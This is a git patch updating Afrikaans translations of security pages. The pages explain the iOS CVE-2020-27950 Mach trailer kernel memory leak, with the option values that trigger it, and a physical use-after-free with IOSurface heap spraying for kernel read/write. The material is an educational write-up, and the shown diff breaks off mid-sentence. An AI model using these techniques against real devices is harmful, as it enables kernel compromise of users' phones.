From e982f6a444a10da2307e6fd06852bedc186a6043 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:25:42 +0000 Subject: [PATCH] Translated ['src/crypto-and-stego/blockchain-and-crypto-currencies.md', --- src/SUMMARY.md | 5 +- .../CVE-2020-27950-mach_msg_trailer_t.md | 28 +-- .../ios-physical-uaf-iosurface.md | 137 +++++----- .../README.md | 168 +++++++------ .../defi-amm-hook-precision.md | 160 ++++++++++++ .../blockchain-and-crypto-currencies.md | 182 -------------- .../electron-desktop-apps/README.md | 238 +++++++++--------- 7 files changed, 449 insertions(+), 469 deletions(-) create mode 100644 src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md delete mode 100644 src/crypto-and-stego/blockchain-and-crypto-currencies.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # đŸ§™â€â™‚ïž Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # đŸ€– AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # ✍ TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index de6bc914c..1a8b6e2b8 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -3,13 +3,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Die Fout +## Die fout -Jy het 'n [goeie uiteensetting van die vuln hier](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), maar as opsomming: +Jy het 'n [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), maar as opsomming: -Elke Mach message wat die kernel ontvang, eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die message buffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte teruggegee word** gebaseer op **deur gebruiker beheerde ontvangopsies**. +Elke Mach message wat die kernel ontvang eindig met 'n **"trailer"**: 'n veranderlike-lengte struct met metadata (seqno, sender token, audit token, context, access control data, labels...). Die kernel **reserveer altyd die grootste moontlike trailer** (MAX_TRAILER_SIZE) in die boodskapbuffer, maar **initialiseer slegs sommige velde**, en besluit later **watter trailer-grootte om terug te gee** gebaseer op **ontvangopsies wat deur die gebruiker beheer word**. -Hierdie is die trailer-relevante structs: +These are the trailer relevant structs: ```c typedef struct{ mach_msg_trailer_type_t msgh_trailer_type; @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -Wanneer die trailer-voorwerp gegenereer word, word slegs sommige velde geĂŻnitialiseer, en die maksimum trailer-grootte word altyd gereserveer: +Dan, wanneer die trailer object gegenereer word, word slegs sommige velde geĂŻnitialiseer, en die max trailer size word altyd gereserveer: ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -Byvoorbeeld, wanneer jy probeer om ’n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer aan die boodskap toe te voeg. Binne hierdie funksie word die trailer-grootte bereken en sommige ander trailer-velde gevul: +Dan, byvoorbeeld, wanneer jy probeer om 'n mach-boodskap te lees met `mach_msg()` word die funksie `ipc_kmsg_add_trailer()` aangeroep om die trailer by die boodskap te voeg. Binne hierdie funksie word die grootte van die trailer bereken en sommige ander trailer-velde ingevul: ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,7 +51,7 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -Die `option`-parameter is deur die gebruiker beheerbaar, dus **moet 'n waarde gestuur word wat die `if`-kontrole slaag.** +Die `option`-parameter word deur die gebruiker beheer, dus **is dit nodig om 'n waarde te stuur wat die `if`-kontrole deurstaan.** Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur: ```c @@ -67,7 +67,7 @@ Om hierdie kontrole te slaag, moet ons 'n geldige ondersteunde `option` stuur: #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -Maar omdat die `MACH_RCV_TRAILER_MASK` net bits kontroleer, kan ons enige waarde tussen `0` en `8` deurgee om nie binne die `if` statement in te gaan nie. +Maar omdat die `MACH_RCV_TRAILER_MASK` net bits nagaan, kan ons enige waarde tussen `0` en `8` gebruik om nie binne die `if` statement in te gaan nie. Dan, as jy met die kode voortgaan, vind jy: ```c @@ -94,17 +94,17 @@ return trailer->msgh_trailer_size; ``` Waar jy kan sien dat as die `option` groter is of gelyk aan `MACH_RCV_TRAILER_AV` (7), die veld **`msgh_ad`** geĂŻnitialiseer word na `0`. -As jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geĂŻnitialiseer is nie en wat 'n leak van voorheen gebruikte geheue kon bevat. +Indien jy opgelet het, was **`msgh_ad`** steeds die enigste veld van die trailer wat voorheen nie geĂŻnitialiseer is nie en wat moontlik 'n leak vanaf voorheen gebruikte geheue kon bevat. -Dus, om dit te vermy om dit te initialiseer, sou jy 'n `option`-waarde van `5` of `6` deurgee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseert nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie. +Dus, die manier om dit te vermy om dit te initialiseer, is om 'n `option` waarde van `5` of `6` deur te gee, sodat dit die eerste `if`-kontrole slaag en nie die `if` betree wat `msgh_ad` initialiseer nie, omdat die waardes `5` en `6` nie aan enige trailer-tipe geassosieer is nie. -### Basiese PoC +### Basic PoC -Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om net 'n paar lukrake data te leak. +In die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), is daar 'n PoC om net 'n paar ewekansige bytes te leak. ### Leak Kernel Address PoC -Binne die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), het jy 'n PoC om 'n kernel adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs in die boodskap gestuur, omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in kernel is die `name`-veld 'n struct `ipc_port` pointer. Daarom beteken dit dat die stuur van tientalle van hierdie structs in die boodskap in kernel sal lei tot die **byvoeging van verskeie kernel addresses binne die boodskap** sodat een daarvan geleak kan word. +In die [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), is daar 'n PoC om 'n kernel-adres te leak. Hiervoor word 'n boodskap vol `mach_msg_port_descriptor_t` structs gestuur omdat die veld `name` van hierdie struktuur in userland 'n unsigned int bevat, maar in die kernel die `name`-veld 'n struct `ipc_port` pointer is. Daarom sal die stuur van tientalle van hierdie structs in die boodskap na die kernel beteken dat daar verskeie kernel-adresse binne die boodskap bygevoeg word, sodat een van hulle ge-leak kan word. Kommentaar is bygevoeg vir beter begrip: ```c @@ -326,7 +326,7 @@ return 0; ``` ## Verwysings -- [Synacktiv se blogpos](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index b10487af9..58feb13c7 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -5,109 +5,108 @@ ## iOS Exploit Mitigations -- **Code Signing** in iOS werk deur te vereis dat elke stukkie uitvoerbare kode (apps, libraries, extensions, ens.) kriptografies geteken is met ’n sertifikaat uitgegee deur Apple. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude root. As die handtekening ongeldig, afwesig of gemodifiseer is, weier die OS om dit uit te voer. Dit verhoed dat aanvallers kwaadwillige kode in regmatige apps inprop of unsigned binaries laat loop, en blokkeer dus die meeste exploit-kettings wat staatmaak op die uitvoering van ewekansige of veranderde kode. -- **CoreTrust** is die iOS substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple se rootsertifikaat sonder om op gecachte trust stores te staatmaak, wat beteken dat slegs binaries wat deur Apple geteken is (of met geldige entitlements) kan uitvoering kry. CoreTrust verseker dat selfs as ’n aanvaller ’n app na installasie manipuleer, stelselbiblioteke verander of probeer om unsigned code te laai, die stelsel die uitvoering sal blokkeer tensy die kode steeds korrek geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes met swakker of omseilbare handtekeningkontroles toegelaat het. -- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy dit duidelik kode bevat. Dit keer dat aanvallers shellcode in datagebiede (soos die stack of heap) inprop en dit uitvoer, en dwing hulle om meer komplekse tegnieke soos ROP (Return-Oriented Programming) te gebruik. -- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer as die stelsel loop. Dit maak dit veel moeiliker vir aanvallers om te voorspel waar nuttige instruksies of gadgets is, en breek baie exploit-kettings wat op vaste geheue-lay-outs staatmaak. -- **KASLR (Kernel ASLR)** pas dieselfde randomisasiekonsep toe op die iOS-kernel. Deur die kernel se basisadres by elke boot te skud, verhoed dit dat aanvallers betroubaar kernel-funksies of strukture lok, wat die moeilikheidsgraad van kernelvlak-exploits verhoog wat andersins volle stelselbeheer sou gee. -- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor voortdurend die kernel se kodebladsye om te verseker dat dit nie gewysig is nie. As enige manipulasie opgespoor word—soos ’n exploit wat kernel-funksies probeer patch of kwaadwillige kode invoeg—sal die toestel onmiddellik panic en herlaai. Hierdie beskerming maak volhoubare kernel-exploits baie moeiliker, aangesien aanvallers nie net kernel-instruksies kan hook of patch sonder om ’n stelselcrash te veroorsaak nie. -- **Kernel Text Readonly Region (KTRR)** is ’n hardware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle ingeval is. Dit gebruik die CPU se geheuebeheerder om die kernel se kode (text) afdeling permanent as read-only na boot te merk. Sodra dit gesluit is, kan selfs die kernel self nie hierdie geheuegebied wysig nie. Dit verhoed dat aanvallers—en selfs bevoorregte kode—kernel-instruksies by runtime patch, wat ’n groot klas exploits toemaak wat gebaseer was op direkte wysiging van kernel-kode. -- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingebed in ongebruikte biete van pointers om hul integriteit te verifieer voordat dit gebruik word. Wanneer ’n pointer (soos ’n return address of funksiepointer) geskep word, teken die CPU dit met ’n geheime sleutel; voor dereferensie kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die kontrole en stop uitvoering. Dit verhoed dat aanvallers pointers forgery of hergebruik in geheue-korrupsie-exploits, en maak tegnieke soos ROP of JOP baie moeiliker om betroubaar uit te voer. -- **Privilege Access never (PAN)** is ’n hardware-funksie wat verhoed dat die kernel (bevoorregte modus) direk user-space geheue benader tensy dit uitdruklik toegang toelaat. Dit stop aanvallers wat kernel-code-uitvoering verkry het om maklik user-memory te lees of te skryf om exploits te eskaleer of sensitiewe data te steel. Deur noue skeiding af te dwing verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation-tegnieke. -- **Page Protection Layer (PPL)** is ’n iOS-sekuriteitsmeganisme wat kritiese kernel-beheerde geheuegebiede beskerm, veral diĂ© wat verband hou met code signing en entitlements. Dit handhaaf streng skryfbeskermings met behulp van die MMU (Memory Management Unit) en addisionele kontroles, en verseker dat selfs bevoorregte kernel-kode nie lukraak sensitiewe bladsye kan wysig nie. Dit verhoed dat aanvallers wat kernelvlak-uitvoering kry, sekuriteit-kritieke strukture manipuleer, wat persistentie en code-signing-omseilings aansienlik moeiliker maak. - +- **Code Signing** in iOS werk deur te vereis dat elke stuk uitvoerbare kode (apps, libraries, extensions, ens.) kryptografies geteken is met ’n sertifikaat uitgereik deur Apple. Wanneer kode gelaai word, verifieer iOS die digitale handtekening teen Apple se vertroude root. As die handtekening ongeldig, afwesig of gewysig is, weier die OS om dit uit te voer. Dit voorkom dat aanvalle kwaadwillige kode in legitieme apps inspuit of unsigned binaries laat hardloop, en stop dus die meeste exploit-kettings wat staatmaak op die uitvoering van arbitrĂȘre of gewysigde kode. +- **CoreTrust** is die iOS-substelsel wat code signing by runtime afdwing. Dit verifieer handtekeninge direk met Apple se root-sertifikaat sonder om op gecachte trust-stores te staatmaak, wat beteken slegs binaries geteken deur Apple (of met geldige entitlements) kan uitgevoer word. CoreTrust maak seker dat selfs as ’n aanvaller ’n app na installasie manipuleer, stelselbiblioteke wysig of probeer unsigned code laai, die stelsel die uitvoering blokkeer tensy die kode steeds korrekt geteken is. Hierdie streng afdwinging sluit baie post-exploitation vektore wat ouer iOS-weergawes deur swakker of omseilbare handtekeningskontroles toegelaat het. +- **Data Execution Prevention (DEP)** merk geheuegebiede as nie-uitvoerbaar tensy hulle eksplisiet kode bevat. Dit keer dat aanvallers shellcode in data-gebiede (soos die stack of heap) inspuit en dit uitvoer, wat hulle dwing om op meer komplekse tegnieke soos ROP (Return-Oriented Programming) te staatmaak. +- **ASLR (Address Space Layout Randomization)** randomiseer die geheueadresse van kode, libraries, stack en heap elke keer as die stelsel loop. Dit maak dit baie moeiliker vir aanvallers om te voorspel waar nuttige instruksies of gadgets is en breek vele exploit-kettings wat van vaste geheue-lĂȘers afhanklik is. +- **KASLR (Kernel ASLR)** pas dieselfde randomisasiekonsep toe op die iOS-kernel. Deur die kernel se basisadres by elke opstart te skuif, voorkom dit dat aanvallers betroubaar kernel-funksies of strukture lokaliseer, wat die moeilikheidsgraad van kernel-level exploits verhoog wat andersins volle stelselbeheer sou kry. +- **Kernel Patch Protection (KPP)**, ook bekend as **AMCC (Apple Mobile File Integrity)** in iOS, monitor voortdurend die kernel se code pages om seker te maak hulle is nie gemanipuleer nie. As enige tampering opgespoor word—soos ’n exploit wat kernel-funksies probeer patch of kwaadwillige kode invoeg—sal die toestel onmiddellik panic en herbegin. Hierdie beskerming maak volhoubare kernel-exploits baie moeilik, aangesien aanvallers nie eenvoudig kernel-instruksies kan hook of patch sonder om ’n stelselkras te veroorsaak nie. +- **Kernel Text Readonly Region (KTRR)** is ’n hardware-gebaseerde sekuriteitsfunksie wat op iOS-toestelle geĂŻntroduseer is. Dit gebruik die CPU se geheuekontroller om die kernel se code (text) afdeling na boot permanent as read-only te merk. Sodra dit gesluit is, kan selfs die kernel self nie hierdie geheuegebied wysig nie. Dit voorkom dat aanvallers—en selfs geprivilegieerde kode—kernel-instruksies by runtime patch, en sluit ’n groot klas exploits wat daarop staatmaak. +- **Pointer Authentication Codes (PAC)** gebruik kriptografiese handtekeninge ingesluit in ongebruikte bis van pointers om hul integriteit voor gebruik te verifieer. Wanneer ’n pointer (soos ’n return address of function pointer) geskep word, teken die CPU dit met ’n geheime sleutel; voor dereferensie kontroleer die CPU die handtekening. As die pointer gemanipuleer is, misluk die kontrole en stop uitvoering. Dit voorkom dat aanvallers pointers vervals of hergebruik in geheuekorruptie-exploits, wat tegnieke soos ROP of JOP baie moeiliker maak om betroubaar uit te voer. +- **Privilege Access never (PAN)** is ’n hardware-funksie wat verhoed dat die kernel (geprivilegieerde modus) direk user-space geheue toegang sonder om dit eksplisiet te aktiveer. Dit stop aanvallers wat kernel code execution verkry het om maklik user memory te lees of te skryf om privileges te eskaleer of sensitiewe data te steel. Deur streng skeiding af te dwing, verminder PAN die impak van kernel-exploits en blokkeer baie algemene privilege-escalation tegnieke. +- **Page Protection Layer (PPL)** is ’n iOS-sekuriteitsmeganisme wat kritieke kernel-beheerde geheuegebiede beskerm, veral diĂ© wat verband hou met code signing en entitlements. Dit handhaaf stringe skryfbeskermings deur die MMU (Memory Management Unit) en addisionele kontroles, wat verseker dat selfs geprivilegieerde kernel-kode nie lukraak sensitiewe pages kan wysig nie. Dit voorkom dat aanvalle wat kernel-vlak uitvoering kry, sekuriteitskritieke strukture manipuleer, wat volharding en code-signing omseilings aansienlik moeiliker maak. ## Physical use-after-free This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -### Geheuebestuur in XNU +### Memory management in XNU -Die **virtual memory address space** vir user-processes op iOS strek van **0x0 to 0x8000000000**. Hierdie adresse kaart egter nie direk na fisiese geheue nie. In plaas daarvan gebruik die **kernel** **page tables** om virtuele adresse na werklike **physical addresses** te vertaal. +Die **virtual memory address space** vir user-prosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse kaart egter nie direk na physical memory nie. In plaas daarvan gebruik die **kernel** **page tables** om virtual adresse na werklike **physical addresses** te vertaal. -#### Vlakke van bladsytabelle in iOS +#### Levels of Page Tables in iOS -Bladsytabelle is hiĂ«rargies in drie vlakke georganiseer: +Page tables is hiĂ«rargies in drie vlakke georganiseer: 1. **L1 Page Table (Level 1)**: -* Elke entiteit hier verteenwoordig ’n groot reeks virtuele geheue. -* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue. +* Elke entry hier verteenwoordig ’n groot reeks van virtual memory. +* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtual memory. 2. **L2 Page Table (Level 2)**: -* ’n Entiteit hier verteenwoordig ’n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB). -* ’n L1-entiteit kan na ’n L2-tabel wys as dit nie die hele streek self kan map nie. +* ’n Entry hier verteenwoordig ’n kleiner streek van virtual memory, spesifiek **0x2000000 bytes** (32 MB). +* ’n L1 entry kan na ’n L2 table wys as dit die hele streek nie self kan map nie. 3. **L3 Page Table (Level 3)**: -* Dit is die fynste vlak, waar elke entiteit ’n enkele **4 KB** geheuebladsy map. -* ’n L2-entiteit kan na ’n L3-tabel wys as meer gedetailleerde beheer benodig word. +* Dit is die fynste vlak, waar elke entry ’n enkele **4 KB** memory page map. +* ’n L2 entry kan na ’n L3 table wys indien meer gedetailleerde beheer benodig word. -#### Mapping van virtueel na fisies geheue +#### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: -* Sommige entiteite in ’n bladsytabel kaart ’n reeks virtuele adresse direk na ’n aaneenlopende reeks fisiese adresse (soos ’n kortpad). +* Sommige entries in ’n page table map direk ’n reeks virtual addresses na ’n aaneenlopende reeks physical addresses (soos ’n snelweg). * **Pointer to Child Page Table**: -* As fynere beheer benodig word, kan ’n entiteit op een vlak (bv. L1) na ’n **child page table** op die volgende vlak (bv. L2) wys. +* As meer fyn beheer nodig is, kan ’n entry op een vlak (bv. L1) na ’n **child page table** op die volgende vlak (bv. L2) wys. -#### Voorbeeld: Mapping van ’n Virtuele Adres +#### Example: Mapping a Virtual Address -Kom ons sĂȘ jy probeer toegang kry tot die virtuele adres **0x1000000000**: +Kom ons sĂȘ jy probeer toegang kry tot die virtual address **0x1000000000**: 1. **L1 Table**: -* Die kernel kyk die L1 bladsytabel-entiteit na wat ooreenstem met hierdie virtuele adres. As dit ’n **pointer to an L2 page table** het, gaan dit na daardie L2-tabel. +* Die kernel kyk die L1 page table entry wat ooreenstem met hierdie virtual address na. As dit ’n **pointer to an L2 page table** het, gaan dit na daardie L2 table. 2. **L2 Table**: -* Die kernel kyk die L2 bladsytabel vir ’n meer gedetailleerde mapping. As hierdie entiteit na ’n **L3 page table** wys, gaan dit verder daarheen. +* Die kernel kyk die L2 page table vir ’n meer gedetailleerde mapping. As hierdie entry na ’n **L3 page table** wys, gaan dit voort daarheen. 3. **L3 Table**: -* Die kernel soek die finale L3-entiteit, wat na die **physical address** van die werklike geheuebladsy wys. +* Die kernel soek die finale L3 entry, wat na die **physical address** van die werklike memory page wys. -#### Voorbeeld van adres-mapping +#### Example of Address Mapping -As jy die fisiese adres **0x800004000** in die eerste indeks van die L2-tabel skryf, dan: +As jy die physical address **0x800004000** in die eerste index van die L2 table skryf, dan: -* Virtuele adresse van **0x1000000000** tot **0x1002000000** map na fisiese adresse van **0x800004000** tot **0x802004000**. +* Virtual addresses van **0x1000000000** tot **0x1002000000** map na physical addresses van **0x800004000** tot **0x802004000**. * Dit is ’n **block mapping** op die L2-vlak. -Alternatiewelik, as die L2-entiteit na ’n L3-tabel wys: +Alternatiewelik, as die L2 entry na ’n L3 table wys: -* Elke 4 KB bladsy in die virtuele adresreeks **0x1000000000 -> 0x1002000000** sou deur individuele entiteite in die L3-tabel gemap word. +* Elke 4 KB page in die virtual address-reeks **0x1000000000 -> 0x1002000000** sal deur individuele entries in die L3 table gemap word. ### Physical use-after-free -’n **Physical use-after-free (UAF)** gebeur wanneer: +A **physical use-after-free** (UAF) gebeur wanneer: -1. ’n proses iets geheue **allocates** as **readable and writable**. -2. Die **page tables** word opgedateer om hierdie geheue na ’n spesifieke fisiese adres te map wat die proses kan benader. -3. Die proses **deallocates** (free) die geheue. -4. VanweĂ« ’n **bug**, vergeet die kernel egter om die mapping uit die page tables te verwyder, al merk dit die ooreenstemmende fisiese geheue as vry. -5. Die kernel kan dan hierdie “vrygestelde” fisiese geheue **reallocate** vir ander doeleindes, soos **kernel data**. -6. Aangesien die mapping nie verwyder is nie, kan die proses steeds **read en write** na hierdie fisiese geheue. +1. ’n Proses **alloceer** sekere geheue as **readable and writable**. +2. Die **page tables** word opgedateer om hierdie geheue aan ’n spesifieke physical address te koppel wat die proses kan gebruik. +3. Die proses **dealloceer** (vrymaak) die geheue. +4. As gevolg van ’n **bug**, vergeet die kernel egter om die mapping uit die page tables te verwyder, selfs al merk dit die ooreenstemmende physical memory as vry. +5. Die kernel kan dan hierdie “vrygemaakte” physical memory **opnuut toewys** vir ander doeleindes, soos **kernel data**. +6. Omdat die mapping nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie physical memory. -Dit beteken die proses kan toegang kry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, en moontlik ’n aanvaller toelaat om **kernel geheue te manipuleer**. +Dit beteken die proses kan toegang kry tot **pages van kernel memory**, wat sensitiewe data of strukture kan bevat, en moontlik ’n aanvaller in staat stel om **kernel memory te manipuleer**. ### IOSurface Heap Spray -Aangesien die aanvaller nie die spesifieke kernel-bladsye wat aan vrygestelde geheue toegeken sal word kan beheer nie, gebruik hulle ’n tegniek genoem **heap spray**: +Aangesien die aanvaller nie kan beheer watter spesifieke kernel pages aan vrygemaakte memory toegeken sal word nie, gebruik hulle ’n tegniek genaamd **heap spray**: -1. Die aanvaller skep ’n groot aantal IOSurface objects in kernel-geheue. +1. Die aanvaller **skep ’n groot aantal IOSurface objects** in kernel memory. 2. Elke IOSurface object bevat ’n **magic value** in een van sy velde, wat dit maklik maak om te identifiseer. -3. Hulle **scan die vrygestelde bladsye** om te kyk of enige van hierdie IOSurface objects op ’n vrygestelde bladsy beland het. -4. Wanneer hulle ’n IOSurface object op ’n vrygestelde bladsy vind, kan hulle dit gebruik om **kernel geheue te lees en te skryf**. +3. Hulle **skandeer die vrygemaakte pages** om te sien of enige van hierdie IOSurface objects op ’n vrygemaakte page beland het. +4. Wanneer hulle ’n IOSurface object op ’n vrygemaakte page vind, kan hulle dit gebruik om **kernel memory te lees en te skryf**. More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> Wees bewus dat iOS 16+ (A12+) devices hardware-mitigations (soos PPL of SPTM) meebring wat physical UAF-tegnieke baie minder uitvoerbaar maak. -> PPL dwing streng MMU-beskermings af op bladsye wat verband hou met code signing, entitlements, en sensitiewe kernel-data, so selfs as ’n bladsy hergebruik word, word skrywe vanaf userland of gekompromitteerde kernel-kode na PPL-beskermde bladsye geblokkeer. -> Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te verskerp. Dit verseker dat selfs bevoorregte kernel-kode nie stilweg vrygestelde bladsye kan herkaart of mappings kan manipuleer sonder om deur veilige kontroles te gaan nie. -> KTRR (Kernel Text Read-Only Region) sluit die kernel se kodeafdeling as read-only na boot. Dit verhoed enige runtime-wysigings aan kernel-kode, wat ’n groot aanvalsvlak sluit waarop physical UAF-exploits dikwels staatmaak. -> Verder is IOSurface-allocations minder voorspelbaar en moeiliker om na user-accessible streke te map, wat die “magic value scanning” truuk baie minder betroubaar maak. En IOSurface is nou beveilig deur entitlements en sandbox-beperkings. +> Wees bewus dat iOS 16+ (A12+) toestelle hardware-mitigations bring (soos PPL of SPTM) wat physical UAF-tegnieke veel minder lewensvatbaar maak. +> PPL handhaaf streng MMU-beskermings op pages wat verband hou met code signing, entitlements, en sensitiewe kernel-data, so selfs as ’n page hergebruik word, word skryfoperasies van userland of gekompromitteerde kernel-kode na PPL-beskermde pages geblokkeer. +> Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te verhard. Dit verseker dat selfs geprivilegieerde kernel-kode nie stilweg vrygemaakte pages kan her-map of mappings kan manipuleer sonder om deur veilige kontroles te gaan nie. +> KTRR (Kernel Text Read-Only Region) sluit die kernel se code-afdeling as read-only na boot. Dit voorkom enige runtime-wysigings aan kernel-kode, en sluit ’n groot aanvalspad wat physical UAF-exploits dikwels benut. +> Boonop is `IOSurface` allocations minder voorspelbaar en moeiliker om in user-accessible streke te map, wat die “magic value scanning” truuk baie minder betroubaar maak. En `IOSurface` word nou verder beskerm deur entitlements en sandbox-beperkings. ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: Die aanvaller skep baie IOSurface objects met ’n spesiale identifiseerder ("magic value"). -2. **Scan Freed Pages**: Hulle kontroleer of enige van die objects op ’n vrygestelde bladsy toegeken is. -3. **Read/Write Kernel Memory**: Deur velde in die IOSurface object te manipuleer, kry hulle die vermoĂ« om **arbitrary reads and writes** in kernel-geheue uit te voer. Dit laat hulle toe om: -* Een veld te gebruik om **enige 32-bit waarde** in kernel-geheue te lees. -* ’n Ander veld te gebruik om **64-bit waardes** te skryf, wat ’n stabiele **kernel read/write primitive** bewerkstellig. +1. **Spray IOSurface Objects**: Die aanvalleur skep baie IOSurface objects met ’n spesiale identifiseerder ("magic value"). +2. **Scan Freed Pages**: Hulle kyk of enige van die objects op ’n vrygemaakte page toegeken is. +3. **Read/Write Kernel Memory**: Deur velde in die IOSurface object te manipuleer, verkry hulle die vermoĂ« om **arbitrary reads and writes** in kernel memory uit te voer. Dit laat hulle toe om: +* Gebruik een veld om **read any 32-bit value** in kernel memory. +* Gebruik ’n ander veld om **write 64-bit values**, en so ’n stabiele **kernel read/write primitive** te verkry. -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +Generate IOSurface objects with the magic value 